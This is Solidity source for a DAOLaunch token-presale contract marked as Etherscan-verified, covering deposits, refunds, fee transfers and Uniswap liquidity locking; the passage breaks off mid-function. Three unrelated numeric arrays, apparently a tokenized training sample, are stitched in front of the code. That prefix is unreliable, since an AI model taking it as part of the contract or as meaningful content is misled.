[ 1, 6464, 3071, 326, 20865, 1123, 353, 3430, 1818, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 1345, 1290, 1887, 12, 2867, 15200, 67, 2867, 16, 1758, 1147, 67, 2867, 13, 1071, 1338, 858, 5460, 43, 1527, 288, 203, 3639, 2583, 12, 280, 16066, 67, 1376, 63, 2316, 67, 2867, 8009, 31734, 405, 374, 16, 315, 986, 28544, 1123, 1122, 8863, 203, 203, 3639, 1758, 8526, 3778, 15200, 67, 2316, 67, 5399, 273, 2430, 67, 1884, 67, 2867, 63, 31420, 67, 2867, 15533, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 15200, 67, 2316, 67, 5399, 18, 2469, 31, 277, 27245, 95, 7010, 5411, 309, 261, 31420, 67, 2316, 67, 5399, 63, 77, 65, 422, 15200, 67, 2867, 13, 288, 203, 7734, 15226, 2932, 1345, 1818, 3430, 8863, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 2430, 67, 1884, 67, 2867, 63, 31420, 67, 2867, 8009, 6206, 12, 2316, 67, 2867, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-06-09 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; /** helper methods for interacting with ERC20 tokens that do not consistently return true/false with the addition of a transfer function to send eth or an erc20 token */ library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x095ea7b3, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED" ); } function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x23b872dd, from, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED" ); } // sends ETH or an erc20 token function safeTransferBaseToken( address token, address payable to, uint256 value, bool isERC20 ) internal { if (!isERC20) { to.transfer(value); } else { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require( set._values.length > index, "EnumerableSet: index out of bounds" ); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IPresaleLockForwarder { function lockLiquidity( IERC20 _baseToken, IERC20 _saleToken, uint256 _baseAmount, uint256 _saleAmount, uint256 _unlock_date, address payable _withdrawer ) external; function uniswapPairIsInitialised(address token0, address token1) external view returns (bool); } interface IWETH { function deposit() external payable; function transfer(address to, uint256 value) external returns (bool); function withdraw(uint256) external; } interface IPresaleSettings { function getMaxPresaleLength() external view returns (uint256); function getBaseFee() external view returns (uint256); function getTokenFee() external view returns (uint256); function getEthAddress() external view returns (address payable); function getTokenAddress() external view returns (address payable); function getEthCreationFee() external view returns (uint256); } contract Presale01 is ReentrancyGuard { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; struct PresaleInfo { address payable PRESALE_OWNER; IERC20 S_TOKEN; // sale token IERC20 B_TOKEN; // base token // usually WETH (ETH) uint256 TOKEN_PRICE; // 1 base token = ? s_tokens, fixed price uint256 MAX_SPEND_PER_BUYER; // maximum base token BUY amount per account uint256 MIN_SPEND_PER_BUYER; // maximum base token BUY amount per account uint256 AMOUNT; // the amount of presale tokens up for presale uint256 HARDCAP; uint256 SOFTCAP; uint256 LIQUIDITY_PERCENT; // divided by 1000 uint256 LISTING_RATE; // fixed rate at which the token will list on uniswap uint256 START_BLOCK; uint256 END_BLOCK; uint256 LOCK_PERIOD; // unix timestamp -> e.g. 2 weeks uint256 UNISWAP_LISTING_TIME; bool PRESALE_IN_ETH; // if this flag is true the presale is raising ETH, otherwise an ERC20 token such as DAI } struct PresaleFeeInfo { uint256 DAOLAUNCH_BASE_FEE; // divided by 1000 uint256 DAOLAUNCH_TOKEN_FEE; // divided by 1000 address payable BASE_FEE_ADDRESS; address payable TOKEN_FEE_ADDRESS; } struct PresaleStatus { bool WHITELIST_ONLY; // if set to true only whitelisted members may participate bool LIST_ON_UNISWAP; bool IS_TRANSFERED_FEE; bool IS_OWNER_WITHDRAWN; bool IS_TRANSFERED_DAOLAUNCH_FEE; uint256 TOTAL_BASE_COLLECTED; // total base currency raised (usually ETH) uint256 TOTAL_TOKENS_SOLD; // total presale tokens sold uint256 TOTAL_TOKENS_WITHDRAWN; // total tokens withdrawn post successful presale uint256 TOTAL_BASE_WITHDRAWN; // total base tokens withdrawn on presale failure uint256 NUM_BUYERS; // number of unique participants } struct BuyerInfo { uint256 baseDeposited; // total base token (usually ETH) deposited by user, can be withdrawn on presale failure uint256 tokensOwed; // num presale tokens a user is owed, can be withdrawn on presale success bool isWithdrawn; } struct GasLimit { uint256 transferDAOLaunchFee; uint256 listOnUniswap; } PresaleInfo private PRESALE_INFO; PresaleFeeInfo public PRESALE_FEE_INFO; PresaleStatus public STATUS; address public PRESALE_GENERATOR; IPresaleLockForwarder public PRESALE_LOCK_FORWARDER; IPresaleSettings public PRESALE_SETTINGS; IUniswapV2Factory public UNI_FACTORY; IWETH public WETH; mapping(address => BuyerInfo) public BUYERS; EnumerableSet.AddressSet private WHITELIST; address payable public CALLER; GasLimit public GAS_LIMIT; address payable public DAOLAUNCH_DEV; constructor(address _presaleGenerator) public payable { PRESALE_GENERATOR = _presaleGenerator; UNI_FACTORY = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); PRESALE_SETTINGS = IPresaleSettings( 0xaBAE64D9d205d0467F7cA03aA1cd133EAd41873c ); PRESALE_LOCK_FORWARDER = IPresaleLockForwarder( 0xE95f84F19710BeD43003e79d9ed2504E9410ed45 ); GAS_LIMIT = GasLimit(100000, 4000000); DAOLAUNCH_DEV = payable(0xE582244c3D167CFE9499b3CDA503E26CaE812E4E); } function init1( address payable _presaleOwner, uint256 _amount, uint256 _tokenPrice, uint256 _maxEthPerBuyer, uint256 _minEthPerBuyer, uint256 _hardcap, uint256 _softcap, uint256 _liquidityPercent, uint256 _listingRate, uint256 _startblock, uint256 _endblock, uint256 _lockPeriod ) external { require(msg.sender == PRESALE_GENERATOR, "FORBIDDEN"); PRESALE_INFO.PRESALE_OWNER = _presaleOwner; PRESALE_INFO.AMOUNT = _amount; PRESALE_INFO.TOKEN_PRICE = _tokenPrice; PRESALE_INFO.MAX_SPEND_PER_BUYER = _maxEthPerBuyer; PRESALE_INFO.MIN_SPEND_PER_BUYER = _minEthPerBuyer; PRESALE_INFO.HARDCAP = _hardcap; PRESALE_INFO.SOFTCAP = _softcap; PRESALE_INFO.LIQUIDITY_PERCENT = _liquidityPercent; PRESALE_INFO.LISTING_RATE = _listingRate; PRESALE_INFO.START_BLOCK = _startblock; PRESALE_INFO.END_BLOCK = _endblock; PRESALE_INFO.LOCK_PERIOD = _lockPeriod; } function init2( IERC20 _baseToken, IERC20 _presaleToken, uint256 _DAOLaunchBaseFee, uint256 _DAOLaunchTokenFee, uint256 _uniswapListingTime, address payable _baseFeeAddress, address payable _tokenFeeAddress ) external { require(msg.sender == PRESALE_GENERATOR, "FORBIDDEN"); PRESALE_INFO.PRESALE_IN_ETH = address(_baseToken) == address(WETH); PRESALE_INFO.S_TOKEN = _presaleToken; PRESALE_INFO.B_TOKEN = _baseToken; PRESALE_INFO.UNISWAP_LISTING_TIME = _uniswapListingTime; PRESALE_FEE_INFO.DAOLAUNCH_BASE_FEE = _DAOLaunchBaseFee; PRESALE_FEE_INFO.DAOLAUNCH_TOKEN_FEE = _DAOLaunchTokenFee; PRESALE_FEE_INFO.BASE_FEE_ADDRESS = _baseFeeAddress; PRESALE_FEE_INFO.TOKEN_FEE_ADDRESS = _tokenFeeAddress; } function init3(address[] memory _white_list, address payable _caller) external { require(msg.sender == PRESALE_GENERATOR, "FORBIDDEN"); if (_white_list.length > 0) STATUS.WHITELIST_ONLY = true; for (uint256 i = 0; i < _white_list.length; i++) { WHITELIST.add(_white_list[i]); } CALLER = _caller; } modifier onlyPresaleOwner() { require(PRESALE_INFO.PRESALE_OWNER == msg.sender, "NOT PRESALE OWNER"); _; } modifier onlyCaller() { require(CALLER == msg.sender, "NOT PRESALE CALLER"); _; } function presaleStatus() public view returns (uint256) { if ( (block.number > PRESALE_INFO.END_BLOCK) && (STATUS.TOTAL_BASE_COLLECTED < PRESALE_INFO.SOFTCAP) ) { return 3; // FAILED - softcap not met by end block } if (STATUS.TOTAL_BASE_COLLECTED >= PRESALE_INFO.HARDCAP) { return 2; // SUCCESS - hardcap met } if ( (block.number > PRESALE_INFO.END_BLOCK) && (STATUS.TOTAL_BASE_COLLECTED >= PRESALE_INFO.SOFTCAP) ) { return 2; // SUCCESS - endblock and soft cap reached } if ( (block.number >= PRESALE_INFO.START_BLOCK) && (block.number <= PRESALE_INFO.END_BLOCK) ) { return 1; // ACTIVE - deposits enabled } return 0; // QUED - awaiting start block } // accepts msg.value for eth or _amount for ERC20 tokens function userDeposit(uint256 _amount) external payable nonReentrant { require(presaleStatus() == 1, "NOT ACTIVE"); // ACTIVE if (STATUS.WHITELIST_ONLY) { require(WHITELIST.contains(msg.sender), "NOT WHITELISTED"); } BuyerInfo storage buyer = BUYERS[msg.sender]; uint256 amount_in = PRESALE_INFO.PRESALE_IN_ETH ? msg.value : _amount; require( amount_in >= PRESALE_INFO.MIN_SPEND_PER_BUYER, "NOT ENOUGH VALUE" ); uint256 allowance = PRESALE_INFO.MAX_SPEND_PER_BUYER.sub( buyer.baseDeposited ); uint256 remaining = PRESALE_INFO.HARDCAP - STATUS.TOTAL_BASE_COLLECTED; allowance = allowance > remaining ? remaining : allowance; if (amount_in > allowance) { amount_in = allowance; } uint256 tokensSold = amount_in.mul(PRESALE_INFO.TOKEN_PRICE).div( 10**uint256(PRESALE_INFO.B_TOKEN.decimals()) ); require(tokensSold > 0, "ZERO TOKENS"); if (buyer.baseDeposited == 0) { STATUS.NUM_BUYERS++; } buyer.baseDeposited = buyer.baseDeposited.add(amount_in); buyer.tokensOwed = buyer.tokensOwed.add(tokensSold); STATUS.TOTAL_BASE_COLLECTED = STATUS.TOTAL_BASE_COLLECTED.add( amount_in ); STATUS.TOTAL_TOKENS_SOLD = STATUS.TOTAL_TOKENS_SOLD.add(tokensSold); // return unused ETH if (PRESALE_INFO.PRESALE_IN_ETH && amount_in < msg.value) { msg.sender.transfer(msg.value.sub(amount_in)); } // deduct non ETH token from user if (!PRESALE_INFO.PRESALE_IN_ETH) { TransferHelper.safeTransferFrom( address(PRESALE_INFO.B_TOKEN), msg.sender, address(this), amount_in ); } } // withdraw presale tokens // percentile withdrawls allows fee on transfer or rebasing tokens to still work function userWithdrawTokens() external nonReentrant { require(presaleStatus() == 2, "NOT SUCCESS"); // SUCCESS require( STATUS.TOTAL_TOKENS_SOLD.sub(STATUS.TOTAL_TOKENS_WITHDRAWN) > 0, "ALL TOKEN HAS BEEN WITHDRAWN" ); BuyerInfo storage buyer = BUYERS[msg.sender]; require(!buyer.isWithdrawn, "NOTHING TO WITHDRAW"); uint256 tokensOwed = buyer.tokensOwed; STATUS.TOTAL_TOKENS_WITHDRAWN = STATUS.TOTAL_TOKENS_WITHDRAWN.add( tokensOwed ); TransferHelper.safeTransfer( address(PRESALE_INFO.S_TOKEN), msg.sender, tokensOwed ); buyer.isWithdrawn = true; } // on presale failure // percentile withdrawls allows fee on transfer or rebasing tokens to still work function userWithdrawBaseTokens() external nonReentrant { require(presaleStatus() == 3, "NOT FAILED"); // FAILED BuyerInfo storage buyer = BUYERS[msg.sender]; require(!buyer.isWithdrawn, "NOTHING TO REFUND"); STATUS.TOTAL_BASE_WITHDRAWN = STATUS.TOTAL_BASE_WITHDRAWN.add( buyer.baseDeposited ); TransferHelper.safeTransferBaseToken( address(PRESALE_INFO.B_TOKEN), msg.sender, buyer.baseDeposited, !PRESALE_INFO.PRESALE_IN_ETH ); buyer.isWithdrawn = true; } // on presale failure // allows the owner to withdraw the tokens they sent for presale & initial liquidity function ownerRefundTokens() external onlyPresaleOwner { require(presaleStatus() == 3); // FAILED require(!STATUS.IS_OWNER_WITHDRAWN, "NOTHING TO WITHDRAW"); TransferHelper.safeTransfer( address(PRESALE_INFO.S_TOKEN), PRESALE_INFO.PRESALE_OWNER, PRESALE_INFO.S_TOKEN.balanceOf(address(this)) ); STATUS.IS_OWNER_WITHDRAWN = true; } // on presale success, this is the final step to end the presale, lock liquidity and enable withdrawls of the sale token. // This function does not use percentile distribution. Rebasing mechanisms, fee on transfers, or any deflationary logic // are not taken into account at this stage to ensure stated liquidity is locked and the pool is initialised according to // the presale parameters and fixed prices. function listOnUniswap() external onlyCaller { require( block.number >= PRESALE_INFO.UNISWAP_LISTING_TIME, "Call listOnUniswap too early" ); require(presaleStatus() == 2, "NOT SUCCESS"); // SUCCESS require(!STATUS.IS_TRANSFERED_FEE, "TRANSFERED FEE"); uint256 DAOLaunchBaseFee = STATUS .TOTAL_BASE_COLLECTED .mul(PRESALE_FEE_INFO.DAOLAUNCH_BASE_FEE) .div(1000); // base token liquidity uint256 baseLiquidity = STATUS .TOTAL_BASE_COLLECTED .sub(DAOLaunchBaseFee) .mul(PRESALE_INFO.LIQUIDITY_PERCENT) .div(1000); if (PRESALE_INFO.PRESALE_IN_ETH) { WETH.deposit{value: baseLiquidity}(); } TransferHelper.safeApprove( address(PRESALE_INFO.B_TOKEN), address(PRESALE_LOCK_FORWARDER), baseLiquidity ); // // sale token liquidity uint256 tokenLiquidity = baseLiquidity .mul(PRESALE_INFO.LISTING_RATE) .div(10**uint256(PRESALE_INFO.B_TOKEN.decimals())); // transfer fees uint256 DAOLaunchTokenFee = STATUS .TOTAL_TOKENS_SOLD .mul(PRESALE_FEE_INFO.DAOLAUNCH_TOKEN_FEE) .div(1000); if (DAOLaunchBaseFee > 0) { TransferHelper.safeTransferBaseToken( address(PRESALE_INFO.B_TOKEN), PRESALE_FEE_INFO.BASE_FEE_ADDRESS, DAOLaunchBaseFee, !PRESALE_INFO.PRESALE_IN_ETH ); } if (DAOLaunchTokenFee > 0) { TransferHelper.safeTransfer( address(PRESALE_INFO.S_TOKEN), PRESALE_FEE_INFO.TOKEN_FEE_ADDRESS, DAOLaunchTokenFee ); } STATUS.IS_TRANSFERED_FEE = true; // transfer fee to DAOLaunch uint256 txFee = tx.gasprice.mul(GAS_LIMIT.listOnUniswap); require(txFee <= PRESALE_SETTINGS.getEthCreationFee()); // // send DAOLaunch fee PRESALE_SETTINGS.getEthAddress().transfer( PRESALE_SETTINGS.getEthCreationFee().sub(txFee) ); // send transaction fee CALLER.transfer(txFee); STATUS.IS_TRANSFERED_DAOLAUNCH_FEE = true; // Fail the presale if the pair exists and contains presale token liquidity if ( PRESALE_LOCK_FORWARDER.uniswapPairIsInitialised( address(PRESALE_INFO.S_TOKEN), address(PRESALE_INFO.B_TOKEN) ) ) { STATUS.LIST_ON_UNISWAP = true; return; } TransferHelper.safeApprove( address(PRESALE_INFO.S_TOKEN), address(PRESALE_LOCK_FORWARDER), tokenLiquidity ); PRESALE_LOCK_FORWARDER.lockLiquidity( PRESALE_INFO.B_TOKEN, PRESALE_INFO.S_TOKEN, baseLiquidity, tokenLiquidity, block.timestamp + PRESALE_INFO.LOCK_PERIOD, PRESALE_INFO.PRESALE_OWNER ); STATUS.LIST_ON_UNISWAP = true; } function ownerWithdrawTokens() external nonReentrant onlyPresaleOwner { require(!STATUS.IS_OWNER_WITHDRAWN, "GENERATION COMPLETE"); require(presaleStatus() == 2, "NOT SUCCESS"); // SUCCESS uint256 DAOLaunchBaseFee = STATUS .TOTAL_BASE_COLLECTED .mul(PRESALE_FEE_INFO.DAOLAUNCH_BASE_FEE) .div(1000); uint256 baseLiquidity = STATUS .TOTAL_BASE_COLLECTED .sub(DAOLaunchBaseFee) .mul(PRESALE_INFO.LIQUIDITY_PERCENT) .div(1000); uint256 DAOLaunchTokenFee = STATUS .TOTAL_TOKENS_SOLD .mul(PRESALE_FEE_INFO.DAOLAUNCH_TOKEN_FEE) .div(1000); uint256 tokenLiquidity = baseLiquidity .mul(PRESALE_INFO.LISTING_RATE) .div(10**uint256(PRESALE_INFO.B_TOKEN.decimals())); // send remain unsold tokens to presale owner uint256 remainingSBalance = PRESALE_INFO .S_TOKEN .balanceOf(address(this)) .add(STATUS.TOTAL_TOKENS_WITHDRAWN) .sub(STATUS.TOTAL_TOKENS_SOLD); // send remaining base tokens to presale owner uint256 remainingBaseBalance = PRESALE_INFO.PRESALE_IN_ETH ? address(this).balance : PRESALE_INFO.B_TOKEN.balanceOf(address(this)); if (!STATUS.IS_TRANSFERED_FEE) { remainingBaseBalance = remainingBaseBalance.sub(DAOLaunchBaseFee); remainingSBalance = remainingSBalance.sub(DAOLaunchTokenFee); } if (!STATUS.LIST_ON_UNISWAP) { remainingBaseBalance = remainingBaseBalance.sub(baseLiquidity).sub( PRESALE_SETTINGS.getEthCreationFee() ); remainingSBalance = remainingSBalance.sub(tokenLiquidity); } if (remainingSBalance > 0) { TransferHelper.safeTransfer( address(PRESALE_INFO.S_TOKEN), PRESALE_INFO.PRESALE_OWNER, remainingSBalance ); } TransferHelper.safeTransferBaseToken( address(PRESALE_INFO.B_TOKEN), PRESALE_INFO.PRESALE_OWNER, remainingBaseBalance, !PRESALE_INFO.PRESALE_IN_ETH ); STATUS.IS_OWNER_WITHDRAWN = true; } function sendDAOLaunchFee() external onlyCaller { require( !STATUS.IS_TRANSFERED_DAOLAUNCH_FEE, "IS_TRANSFERED_DAOLAUNCH_FEE" ); require(presaleStatus() == 3, "NOT FAILED"); // FAILED // calcucalte transaction fee uint256 txFee = tx.gasprice.mul(GAS_LIMIT.transferDAOLaunchFee); require(txFee <= PRESALE_SETTINGS.getEthCreationFee()); // send DAOLaunch fee PRESALE_SETTINGS.getEthAddress().transfer( PRESALE_SETTINGS.getEthCreationFee().sub(txFee) ); // send transaction fee CALLER.transfer(txFee); STATUS.IS_TRANSFERED_DAOLAUNCH_FEE = true; } function updateGasLimit( uint256 _transferDAOLaunchFee, uint256 _listOnUniswap ) external onlyPresaleOwner { GAS_LIMIT.transferDAOLaunchFee = _transferDAOLaunchFee; GAS_LIMIT.listOnUniswap = _listOnUniswap; } function updateMaxSpendLimit(uint256 _maxSpend) external onlyPresaleOwner { PRESALE_INFO.MAX_SPEND_PER_BUYER = _maxSpend; } // postpone or bring a presale forward, this will only work when a presale is inactive. // i.e. current start block > block.number function updateBlocks(uint256 _startBlock, uint256 _endBlock) external onlyPresaleOwner { require(PRESALE_INFO.START_BLOCK > block.number); require(_endBlock.sub(_startBlock) > 0); PRESALE_INFO.START_BLOCK = _startBlock; PRESALE_INFO.END_BLOCK = _endBlock; } // editable at any stage of the presale function setWhitelistFlag(bool _flag) external onlyPresaleOwner { STATUS.WHITELIST_ONLY = _flag; } // editable at any stage of the presale function editWhitelist(address[] memory _users, bool _add) external 